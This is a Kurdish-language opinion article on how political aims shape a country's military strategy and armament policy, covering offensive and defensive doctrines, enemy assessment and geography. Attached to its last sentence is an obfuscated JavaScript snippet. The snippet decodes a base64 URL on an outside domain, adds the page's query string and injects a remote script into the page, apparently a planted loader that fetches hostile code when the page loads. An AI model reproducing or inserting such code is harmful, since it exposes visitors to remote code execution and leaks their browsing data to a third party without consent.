سیاسه‌ت و پڕچه‌ككرن
ئه‌حمه‌د عارف ئامێدى
ستراتیژیا سه‌ربازى یا هه‌ر وه‌لاته‌كى، ژ یێ دیتر جودایه ژ به‌ر كو ژ ده‌رئه‌نجامێ باوه‌ریا سیاسى یا وه‌لاتى دهێته دیاركرن، ئه‌ڤجا ل ڤێره ئاڤاكرنا ستراتیژیا سه‌ربازى ب گۆر نیازێن سیاسه‌تا وه‌لاتى دهێته ده‌ستنیشانكرن، ئه‌و تشتێ دبێژنێ بیروباوه‌ریێن سه‌ربازى یێن وه‌لاتى یان كه‌توارێ ده‌ستوور. ژ ئه‌ڤان جۆره په‌یوه‌ندى و هه‌ڤپه‌یڤینان د ناڤبه‌را بیروباوه‌ریێن سیاسى یان په‌یوه‌ندیێن سه‌ربازى دا یێن ئه‌ڤ ستراتیژیا سه‌ربازى ژێ هاتیه به‌رهه‌مئینان یا كو ئالیه‌تا ئاڤاكرنا هێز و سیاسه‌تا بكارئینانا وان دیاردكه‌ت. چونكو هنده‌ك وه‌لات په‌سنا سیاسه‌تا به‌رفره‌هكرنێ و دوژمنكاریێ دكه‌ن، یانژى یا دبێژنێ ستراتیژیا هێرشكرنێ یا به‌رفره‌ه، هنده‌ك وه‌لاتێن دیتر په‌سنا (سیاسه‌تا به‌رهنگاریكرنێ) دكه‌ن ب گۆره‌ى نیاز و شیانێن وێ یێن سه‌ربازى و ئابوورى یان به‌شه‌رى، ئه‌ڤجا یا دورست ئه‌وه كو كه‌سێن له‌شكرى ل ده‌مێ سیاسه‌تا به‌رهه‌كرنا چه‌كسازیێ دكه‌ن، كو چه‌ك و كه‌لوپه‌لێن گونجاى ل گه‌ل ستراتیژیا سه‌ربازى یاكو په‌سنا وێ و سروشتێ وێ كرى.
ئه‌ڤجا بۆ به‌رهه‌ڤكرنا پلانا سیاسى یا چه‌كداریكرنێ ل هه‌ر وه‌لاته‌كێ هه‌بیت، گرێداى چه‌ند فاكته‌رێن ژێكجودا د سروشتێ خوه دا هه‌یه، هه‌ر ئێكى رێژه‌یه‌كا كارتێكرنێ ل سه‌ر وێ سیاسه‌تێ هه‌یه ئێك ژ وان: دوژمن كى یه و جۆرێ وى یه؟ یان گه‌ر (دوژمنه‌ك) هه‌بیت، ئه‌ڤ فاكته‌ره سروشتێ شه‌ڕێ دوژمنى ب خوه‌ڤه دگریت و ستراتیژیا نیازێن وى، قه‌باره‌یێ هێزێن چه‌كدارێن وى و ئاستێ چه‌كداریكرنێ و به‌رهه‌ڤكرن و چاوانیا جۆرێ مه‌شقا وێ و ئ‌و شێواز و پیلانێن وى یێن شه‌ڕى یێن ئه‌و بكاردئینیت، پله‌یا پێشكه‌ڤتنا وێ د واره‌كێ زانستى و ته‌كنۆلۆژی دا و ئاستێ به‌رهه‌مێ وى یێ پیشه‌سازى و سه‌ربازى یێ نها و یێ پاشه‌رۆژێ ب جۆراتى و چه‌نداتیێ، زێده‌بارى په‌یوه‌ندیێن سیاسى و ده‌ره‌كى یێن ده‌ستووردانا كڕینا چه‌ك و ته‌قه‌مه‌نیێن وى یێن پێشكه‌ڤتى ژ وان وه‌لاتێن پیشه‌سازى یێن پشته‌ڤانیا وى دكه‌ن، دیسا شیانێن وان سه‌ربازان یێن د ناڤ هێزێن وی دا ل سه‌ر هژمار و مه‌شق و بكارئینانا وان چه‌ك و كه‌لوپه‌لان و سه‌خبێریكرنا وان.
ئێكا دى ستراتیژیا (هێرشكرنێ) داخوازا چه‌ك و كه‌لوپه‌لێن هێزه‌كا بهرزا ئاگرین هه‌یى و شیانێن هاڤێتنا ب زیان و دوور و مانۆره‌یا پێدڤى، لێ ستراتیژیا (به‌رهنگار) هنده‌ك چه‌ك و كه‌لوپه‌لێن ب شیان ل سه‌ر روی ب رویبوونا هێرشان و زانینا چه‌كێ دوژمنى و به‌رسڤدانا وى ل ده‌مێ پێدڤى ب دربێن تۆلڤه‌كه‌ر، زێده‌بارى ڤێ چه‌ندێ سیاسه‌تا چه‌كداریكرنێ كارتێكرنێ ل سه‌ر هه‌موو پێكهاته‌یێن ستراتیژیا سه‌ربازى دكه‌ت، هه‌ر دیسا به‌لاڤبوونا هێزێن چه‌كدار یێن (دۆست) ل ده‌مێ ئاشتیێ و د ناڤ هێزێن نشتیمانی دا یانژى بنگه‌هێن ده‌رڤه و وه‌لاتێ هه‌ڤپه‌یمان، یان تشتێ دخوازیت وان هێزان و لڤینا وان ژ ناڤ وه‌لاتى و ده‌رڤه بهێنه لێكخركرن و ئاسانكرنێن پێدڤى.
ژلایه‌كێ دى ڤه یا هه‌رى گرنگ جهێ جوگرافى یه ئه‌ڤ فاكته‌ره وه‌كهه‌ڤ كارتێكرنێ ل سه‌ر ده‌ستنیشانكرنا سیاسه‌تا چه‌كداریكرنێ ل هه‌موو وه‌لاتان دكه‌ت. ئه‌و ژى تایبه‌تمه‌ندیا كه‌سێن له‌شكرى و دانه‌رێن ستراتیژیێ و سه‌نته‌رێن خواندن و ڤه‌كۆلینێن سه‌ربازى یێن برێڤه‌برنێ و ده‌سته‌كه‌ێن مه‌ده‌نى یێن گشتییه ل سه‌ر ڤان كاروبارێن جوگرافى و تۆبۆگرافى و بوارێ سه‌قایى، كو هه‌لبژارتنا ڤان چه‌ك و كه‌لوپه‌لێن گونجایى ل گه‌ل سروشتێ سه‌قایێ گۆره‌پانێن ئوپه‌راسیۆنان، سیاسه‌تا چكداریكرنێ دسه‌پینیت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
